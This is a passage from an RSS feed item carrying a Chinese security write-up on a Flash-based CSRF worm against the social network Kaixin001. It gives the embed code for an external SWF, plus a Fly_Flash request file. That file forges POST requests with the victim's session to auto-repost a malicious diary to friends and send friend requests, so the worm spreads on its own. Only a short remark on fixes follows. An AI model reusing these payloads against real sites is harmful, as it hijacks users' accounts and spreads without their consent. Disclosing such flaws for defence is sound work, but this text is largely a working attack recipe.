<div class="wp_codebox"><table><tr id="p80724"><td class="code" id="p807code24"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>object classid<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&quot;</span> width<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;454&quot;</span> height<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;384&quot;</span> codebase<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot;</span><span style="color: #339933;">&gt;&lt;</span>param name<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;src&quot;</span> value<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;http://www.80sec.com/x.swf&quot;</span> <span style="color: #339933;">/&gt;&lt;</span>param name<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;wmode&quot;</span> value<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;transparent&quot;</span> <span style="color: #339933;">/&gt;&lt;</span>embed type<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;application/x-shockwave-flash&quot;</span> width<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;454&quot;</span> height<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;384&quot;</span> src<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;http://www.80sec.com/x.swf&quot;</span> wmode<span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;transparent&quot;</span><span style="color: #339933;">&gt;&lt;/</span>embed<span style="color: #339933;">&gt;&lt;/</span>object<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>开心网直接允许在页面引入其他域的Flash，同时为了安全性，在使用的时候用到了allowscriptaccess属性来做限制。整个代码使用语法分析的方式来做过滤，无法被绕过，但是这里漏掉了一个重要的属性allowNetworking，利用这个属性flash可以通过浏览器做网络访问。<br />
同时开心网另外一个严重的问题就是CSRF问题，尽管其在重要的数据更改的地方都限制只能使用POST方式提交，但是所有的请求数据内容可以被预知，很容易就实现CSRF攻击。而开心网用户之间的交互非常之多，利用一些简单的功能就可以实现将某些内容引诱其他用户访问，CSRF的固有的攻击的被动性可以得到有效的弥补。<br />
综合上面几点，我们就可以利用其中的漏洞主动的攻击开心网在线用户了。</p>
<p>技术实现：80sec之前提供了一款用于Flash渗透测试的工具Fly_Flash，具体地址为http://www.80sec.com /fly_flash-0-1-release.html，利用Fly_Flash我们可以很方便的实现一次渗透测试，譬如在配置文件里写上</p>

<div class="wp_codebox"><table><tr id="p80725"><td class="code" id="p807code25"><pre class="php" style="font-family:monospace;"><span style="color: #cc66cc;">3</span><span style="color: #339933;">,</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.80sec.com/action.php?80sec,,,user=data&amp;amp;pass=data</span></pre></td></tr></table></div>

<p>既可以使用浏览器当前的会话像www.kaixin001.com发起一个请求，请求的内容为后面的user=data&amp;pass=data部分，并且整个请求不会受到浏览器的隐私策略的限制，可以同时使用持久Cookie和Session Cookie。</p>
<p>1 发布一个含有测试Flash的帖子，内容包括一些有吸引力的文字和隐藏在文字之间的Flash代码</p>

<div class="wp_codebox"><table><tr id="p80726"><td class="code" id="p807code26"><pre class="html" style="font-family:monospace;">&lt;object classid=&quot;clsid:d27cdb6e-ae6d-11cf-96b8-444553540000&quot; width=&quot;454&quot; height=&quot;384&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot;&gt;&lt;param name=&quot;src&quot; value=&quot;http://www.80sec.com/fly_flash.swf?sec80=http://www.80sec.com/fly_flash.txt&amp;amp;x.swf&quot; /&gt;&lt;param name=&quot;wmode&quot; value=&quot;transparent&quot; /&gt;&lt;embed type=&quot;application/x-shockwave-flash&quot; width=&quot;454&quot; height=&quot;384&quot; src=&quot;http://www.80sec.com/fly_flash.swf?sec80=http://www.80sec.com/fly_flash.txt&amp;amp;x.swf&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;&lt;/object&gt;</pre></td></tr></table></div>

<p>2 http://www.80sec.com/fly_flash.txt内容是我们要构造的数据包请求，这里利用开心网的转贴功能实现内容在用户之间的传播</p>

<div class="wp_codebox"><table><tr id="p80727"><td class="code" id="p807code27"><pre class="c" style="font-family:monospace;"><span style="color: #0000dd;">2</span><span style="color: #339933;">,</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//img.users.51.la/3182000.asp</span>
<span style="color: #0000dd;">3</span><span style="color: #339933;">,</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.kaixin001.com/!repaste/!repaste_tofriend_dialog.php?80sec,,,rtype=diary_773000_20569243&amp;amp;word=&amp;amp;do=succ&amp;amp;commenttyp=1&amp;amp;uid=&amp;amp;touids=&amp;amp;comment2src=1</span>
<span style="color: #0000dd;">3</span><span style="color: #339933;">,</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.kaixin001.com/!repaste/!repaste_tofriend_dialog.php?80sec,,,rtype=diary_773000_20570931&amp;amp;word=&amp;amp;do=succ&amp;amp;commenttyp=1&amp;amp;uid=&amp;amp;touids=&amp;amp;comment2src=1</span>
<span style="color: #0000dd;">3</span><span style="color: #339933;">,</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.kaixin001.com/!repaste/!repaste_tofriend_dialog.php?80sec,,,rtype=diary_773000_20567962&amp;amp;word=&amp;amp;do=succ&amp;amp;commenttyp=1&amp;amp;uid=&amp;amp;touids=&amp;amp;comment2src=1</span>
<span style="color: #0000dd;">3</span><span style="color: #339933;">,</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.kaixin001.com/friend/addverify.php?80sec,,,from=&amp;amp;touid=773000&amp;amp;content=hi+%0D%0A%3A%29&amp;amp;rcode=&amp;amp;code=&amp;amp;usercode=&amp;amp;email=&amp;amp;bidirection=</span></pre></td></tr></table></div>

<p>其中2,http://img.users.51.la/3182000.asp用作访问的统计，后面的就是自己构造的对http: //www.kaixin001.com/!repaste/!repaste_tofriend_dialog.php发起的POST请求，后面的数据就是上面我们构造好的邪恶的日记。而一旦用户看了这篇日记之后就会自动进行转贴，一旦其他好友查看之后就会再次自动转贴，蠕虫实现了借助转贴功能的传播。</p>
<p>3 恩，结束，就这么简单。</p>
<p>漏洞修复：我们将在后续对Flash的安全使用问题做深入探讨，这里建议开心网从根本上对CSRF问题做防范，具体方式可以参考80sec以前的文章。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e5%88%a9%e7%94%a8fly_flash%e8%a0%95%e8%99%ab%e6%94%bb%e5%87%bb%e5%bc%80%e5%bf%83%e7%bd%91.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
